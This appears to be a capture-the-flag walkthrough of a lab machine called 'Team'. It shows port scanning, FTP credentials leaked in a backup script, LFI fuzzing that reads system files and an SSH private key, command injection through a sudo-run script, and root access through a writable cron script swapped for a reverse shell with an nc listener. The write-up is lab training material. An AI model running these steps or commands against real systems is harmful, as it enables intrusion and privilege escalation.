Web enumeration - Subdomain Enumeration - LFI - Leaking the Private Key - Lateral Movement - CronJob PrivEsc
Initial Compromise
Let’s add the domain to our hosts file:
$ echo "10.10.246.106 team.thm" | sudo tee -a /etc/hosts
Nmap reveals 3 services running on their standard ports
$ nmap -sC -sV -A 10.10.246.106
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-23 13:43 CEST
Nmap scan report for 10.10.246.106
Host is up (0.065s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
| 256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_ 256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Web Enumeration
The web server seems to show only the Apache welcome page. There is a robots.txt file, but it only provides a string which may be a potential username
However, this file is only a hint to find another file:
kali@kali:/usr/share/wordlists/dirbuster$ curl -s http://www.team.thm/scripts/script.txt
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
Updated version of the script Note to self had to change the extension of the old "script" in this folder, as it has creds in
The backup file - /script.old is much more interesting as it contains credentials for the FTP Access !
Now with valid credentials (ftpuser:T3@m$h@r3), we can connect against the FTP service
kali@kali:/usr/share/wordlists/dirbuster$ ftp team.thm
Connected to team.thm.
220 (vsFTPd 3.0.3)
Name (team.thm:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534 65534 4096 Jan 15 21:25 workshare
226 Directory send OK.
ftp> cd workshare
250 Directory successfully changed.
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534 65534 4096 Jan 15 21:25 .
drwxr-xr-x 5 65534 65534 4096 Jan 15 21:25 ..
-rwxr-xr-x 1 1002 1002 269 Jan 15 21:24 New_site.txt
226 Directory send OK.
ftp> get New_site.txt -
remote: New_site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).
Dale
I have started coding a new website in PHP for the team to use, this is currently under development. It can be
found at ".dev" within our domain.
Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.
Gyles
226 Transfer complete.
269 bytes received in 0.00 secs (101.9780 kB/s)
Alternatively,
What we can do is, to dig the subdomains using tools like ffuf - we find a subdomian dev.team.thm
kali@kali:/data/Team/files$ curl -s http://dev.team.thm
<html>
<head>
<title>UNDER DEVELOPMENT</title>
</head>
<body>
Site is being built<a href=script.php?page=teamshare.php </a>
<p>Place holder link to team share</p>
</body>
</html>
Connecting to the dev subdomain reveals an interesting script.php page - Since it has a user input we can try for flaws such as LFI or any OS command Injection
After a few unsuccessful attempts to read the SSH key in the home folder, I decided to run the discovery using a dictionnary of paths using wfuzz or we can even use burpsuite for this matter
kali@kali:/usr/share/wordlists/SecLists/Fuzzing/LFI$ wfuzz -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://dev.team.thm/script.php?page=FUZZ --hw=0
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://dev.team.thm/script.php?page=FUZZ
Total requests: 257
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000001: 200 34 L 42 W 1698 Ch "/etc/passwd"
000000005: 200 230 L 1119 W 7313 Ch "/etc/apache2/apache2.conf"
000000015: 200 15 L 123 W 721 Ch "/etc/crontab"
000000018: 200 10 L 68 W 424 Ch "/etc/fstab"
000000024: 200 8 L 22 W 185 Ch "/etc/hosts"
000000025: 200 11 L 57 W 412 Ch "/etc/hosts.allow"
000000026: 200 18 L 111 W 712 Ch "/etc/hosts.deny"
000000038: 200 3 L 5 W 25 Ch "/etc/issue"
000000044: 200 5 L 6 W 104 Ch "/etc/lsb-release"
000000048: 200 34 L 198 W 2455 Ch "/etc/mtab"
000000052: 200 5 L 16 W 91 Ch "/etc/network/interfaces"
000000053: 200 3 L 12 W 92 Ch "/etc/networks"
000000055: 200 34 L 42 W 1698 Ch "/etc/passwd"
000000070: 200 28 L 97 W 582 Ch "/etc/profile"
000000080: 200 19 L 113 W 736 Ch "/etc/resolv.conf"
000000084: 200 169 L 447 W 5990 Ch "/etc/ssh/sshd_config"
000000083: 200 52 L 218 W 1581 Ch "/etc/ssh/ssh_config"
000000094: 200 160 L 955 W 5937 Ch "/etc/vsftpd.conf"
000000104: 200 28 L 164 W 901 Ch "/proc/cpuinfo"
000000105: 200 35 L 61 W 405 Ch "/proc/filesystems"
000000106: 200 41 L 188 W 1774 Ch "/proc/interrupts"
000000107: 200 42 L 139 W 1007 Ch "/proc/ioports"
000000108: 200 48 L 137 W 1308 Ch "/proc/meminfo"
000000109: 200 83 L 492 W 4650 Ch "/proc/modules"
000000110: 200 34 L 198 W 2455 Ch "/proc/mounts"
000000111: 200 10 L 998 W 2136 Ch "/proc/stat"
000000112: 200 3 L 10 W 102 Ch "/proc/swaps"
000000113: 200 2 L 17 W 147 Ch "/proc/version"
000000114: 200 3 L 15 W 157 Ch "/proc/self/net/arp"
000000188: 200 1 L 1 W 32097 Ch "/var/log/faillog"
000000224: 200 2 L 4 W 1537 Ch "/var/run/utmp"
000000220: 200 13 L 106 W 62955 Ch "/var/log/wtmp"
000000181: 200 5332 L 31922 364050 Ch "/var/log/dpkg.log"
W
000000199: 200 5 L 18 W 292866 Ch "/var/log/lastlog"
The /etc/ssh/sshd_config revealed user Dale's private key
Privilege Escalation
Let’s save the SSH key and connect to get the user flag
Since the /etc/passwd revealed that there is another user called gyles, lets laterally move to the gyle user
Lateral Movement
Checking the dale user's privileges - reveals that we can runa script as gyles using sudo
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dale may run the following commands on TEAM:
(gyles) NOPASSWD: /home/gyles/admin_checks
The script is
dale@TEAM:/home/gyles$ cat admin_checks
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
The read variable takes the user input and stores it in the variable name and then it echo's the $name variable into /var/stats/stats.txt
It agains read another user input and stores it in the variable called error - This variable is directly executed and whatever errror it shows up is redirected to /dev/null
This is where we are gonna execute our shell command - /bin/bash -i , which immediately gives us a bash prompt as a root user
Since the gyle user has the sudo access to run the file we can directly abuse the gyle user's privilege
dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: gyles
Enter 'date' to timestamp the file: /bin/bash -i
The Date is uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
python3 -c "import pty;pty.spawn('/bin/bash')"
gyles@TEAM:~$ id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
gyles@TEAM:~$
gyles@TEAM:~$
gyles@TEAM:~$
gyles@TEAM:~$
NOTE - We can add our ~/.ssh/id_rsa.pub key to /home/gyles/.ssh/authorized_keys to connect directly as gyles
Getting R00T
Running pspy64 will reveal the following cron job executed by root - or we can simply visit the /opt directory as it comes under the Interesting Directory category !
gyles@TEAM:/tmp$ cat /opt/admin_stuff/script.sh
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
One of which being writable. Let’s replace its content with a reverse shell
Since its a cron job, we'll wait till its getting executed and meanwhile let's keep our listener ready :)
kali@kali:~$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.156.169] 44966
bash: cannot set terminal process group (1201): Inappropriate ioctl for device
bash: no job control in this shell
root@TEAM:~#
root@TEAM:~# id
id
uid=0(root) gid=0(root) groups=0(root),1004(admin)
root@TEAM:~#
root@TEAM:~#
root@TEAM:~#
root@TEAM:~#